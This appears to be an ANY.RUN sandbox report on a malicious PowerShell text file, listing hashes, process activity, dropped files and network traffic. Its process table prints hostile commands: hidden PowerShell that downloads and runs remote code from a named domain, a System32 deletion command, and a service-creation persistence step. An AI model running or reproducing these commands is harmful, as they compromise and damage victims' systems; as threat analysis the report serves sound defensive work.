File name:

pOwERShElL -W HIddEn -Nologo -nOp.txt

Full analysis: https://app.any.run/tasks/f90cc604-5a73-4c16-9398-b4faf59b5ee2
Verdict: Malicious activity
Analysis date: September 19, 2024, 10:27:26
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
websocket
susp-powershell
wmi-base64
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

FCDB853A99AEBA40CD8F304981E73B1F

SHA1:

41517368A3A01E705CBAB373CA4744F3AC68CBFB

SHA256:

0482404ABF0B4E5A406D1A50A657786682B9342C75D15A5682C4DDFD5C1F1A08

SSDEEP:

12:w/u2ykCb7aIS1EtRDy9oGSSt2u7aIS1EtRDbxawuXb7aIS1EtRDoQATDN2O7aIS3:spykp1CRDyhSSEp1CRD8q1CRDozkJ1CC

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Application launched itself

      • powershell.exe (PID: 6684)
      • powershell.exe (PID: 6844)
      • powershell.exe (PID: 368)
      • powershell.exe (PID: 752)
      • powershell.exe (PID: 7932)
      • powershell.exe (PID: 7552)
      • powershell.exe (PID: 8072)
      • powershell.exe (PID: 7020)
      • powershell.exe (PID: 2808)
      • powershell.exe (PID: 7492)
      • powershell.exe (PID: 7320)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 6924)
      • powershell.exe (PID: 7260)
      • svczHost.exe (PID: 7508)
      • rdp.exe (PID: 7304)

  • INFO

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • myRdpService.exe (PID: 6452)

    • Found Base64 encoded access to BitConverter class via PowerShell (YARA)

      • myRdpService.exe (PID: 6452)

    • Found Base64 encoded reference to WMI classes (YARA)

      • myRdpService.exe (PID: 6452)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
279
Monitored processes
124
Malicious processes
13
Suspicious processes
14

Behavior graph

Click at the process to see the details
start notepad.exe no specs sppextcomobj.exe no specs slui.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs cmd.exe conhost.exe no specs powershell.exe conhost.exe no specs powershell.exe no specs winword.exe no specs ai.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs cmd.exe conhost.exe no specs powershell.exe conhost.exe no specs powershell.exe no specs mspaint.exe no specs slui.exe no specs powershell.exe no specs conhost.exe no specs cmd.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs winword.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs svczhost.exe conhost.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs winword.exe no specs conhost.exe no specs conhost.exe no specs sc.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs svczhost.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs cmd.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs winword.exe no specs powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs sc.exe no specs net.exe no specs net1.exe no specs THREAT myrdpservice.exe no specs cmd.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs mspaint.exe no specs svczhost.exe no specs conhost.exe no specs cmd.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs regedit.exe no specs powershell.exe no specs conhost.exe no specs systeminfo.exe no specs tiworker.exe no specs cmd.exe no specs conhost.exe no specs rdp.exe netsh.exe no specs netsh.exe no specs rdp.exe no specs svczhost.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs net.exe no specs net1.exe no specs svczhost.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
368"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -W HIddEn -Nologo -nOp -eP BYPaSs -c "iex ([Text.Encoding]::UTF8.GetString((iwr " https://yasminasaveursetdecors.fr/Wj).Content))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
376"powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—myRdpService.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
752"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -w hiDDeN -nolOGo -nOp -eP byPaSs -c "iex ([Text.Encoding]::UTF8.GetString((iwr " https://yasminasaveursetdecors.fr/RX).Content))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
940"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
4294967295
Version:
10.0.19041.1 (WinBuild.160101.0800)
1524\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
1700\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2144\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
2192"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"C:\Windows\System32\cmd.exe—svczHost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
2
Version:
10.0.19041.1 (WinBuild.160101.0800)
2192C:\WINDOWS\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.3989_none_7ddb45627cb30e03\TiWorker.exe -EmbeddingC:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.3989_none_7ddb45627cb30e03\TiWorker.exe—svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Modules Installer Worker
Exit code:
0
Version:
10.0.19041.3989 (WinBuild.160101.0800)
2212SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi6" start= auto C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Total events
12 072
Read events
12 072
Write events
0
Delete events
0

Modification events

No data
Executable files
24
Suspicious files
170
Text files
115
Unknown types
2

Dropped files

PID
Process
Filename
Type
6684powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF200bcb.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
6684powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xfrnqub1.4ej.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6844powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_r55ixzhr.4xx.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
368powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5llfkmig.lnt.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6844powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ucnd5ato.sp5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4816powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zuzbxjvw.q3a.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6684powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:E822BA1FB7ED394D33AD65E612507410
SHA256:D3CACDFEE537C8A7E5728A76CD6A41881F1D4D429C753EAE4FB32B930B710F68
6684powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5kbwgu3r.i51.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4816powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yum3avy1.mqz.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6924powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF2088bc.TMPbinary
MD5:BBC639FB17CCE526FA7ACD623E0E8A88
SHA256:572FCFBDA7DE8BE39788C3E8B512085B0C3BBCFFB85D9A856818ED4A17862AAB
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
26
TCP/UDP connections
174
DNS requests
54
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
3520
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
1456
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
3520
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
whitelisted
—
—
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl
unknown
—
—
whitelisted
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
—
—
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl
unknown
—
—
whitelisted
—
—
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
239.255.255.250:1900
—
—
—
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
1456
svchost.exe
20.190.160.14:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1456
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
—
—
20.190.160.14:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5768
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4324
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5768
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 4.231.128.59
  • 20.73.194.208
whitelisted
www.microsoft.com
  • 23.35.229.160
  • 88.221.169.152
whitelisted
google.com
  • 142.250.186.78
whitelisted
login.live.com
  • 20.190.160.14
  • 40.126.32.76
  • 40.126.32.74
  • 40.126.32.140
  • 40.126.32.133
  • 40.126.32.68
  • 20.190.160.20
  • 20.190.160.17
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
browser.pipe.aria.microsoft.com
  • 52.168.117.171
whitelisted
r.bing.com
  • 2.23.209.133
  • 2.23.209.130
  • 2.23.209.140
  • 2.23.209.132
  • 2.23.209.131
  • 2.23.209.135
  • 2.23.209.134
  • 2.23.209.193
  • 2.23.209.136
whitelisted
th.bing.com
  • 2.16.101.99
  • 2.16.101.105
  • 2.16.101.72
  • 2.16.100.136
  • 2.16.100.129
  • 2.16.101.89
  • 2.16.101.106
  • 2.16.101.91
  • 2.16.101.97
whitelisted
www.bing.com
  • 2.23.209.188
  • 2.23.209.191
  • 2.23.209.179
  • 2.23.209.181
  • 2.23.209.186
  • 2.23.209.130
  • 2.23.209.189
  • 2.23.209.180
  • 2.23.209.183
whitelisted
fp.msedge.net
  • 204.79.197.222
whitelisted

Threats

PID
Process
Class
Message
—
—
Not Suspicious Traffic
INFO [ANY.RUN] Azure Front Door domain observed in TLS SNI ( .azurefd .net)
—
—
Not Suspicious Traffic
INFO [ANY.RUN] Websocket Upgrade Request
No debug info
Interactive malware hunting service ANY.RUN
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Reports
pOwERShElL -W HIddEn -Nologo -nOp.txt